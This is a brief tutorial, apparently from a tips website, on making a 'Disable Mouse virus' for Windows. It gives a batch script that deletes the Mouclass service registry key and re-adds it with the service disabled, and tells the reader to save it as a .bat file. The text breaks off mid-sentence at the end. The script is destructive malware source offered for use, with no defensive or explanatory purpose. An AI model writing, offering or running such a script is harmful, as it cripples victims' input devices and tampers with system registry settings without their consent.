How to make Disable Mouse virus?

Solution :

• Open "notepad" & paste the given code
• rem
  rem Disable Mouse
  set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
  reg delete %key%
  reg add %key% /v Start /t REG_DWORD /d 4
  rem

• Save the file as "*.bat"

Note : Give any proper name replace of  "*.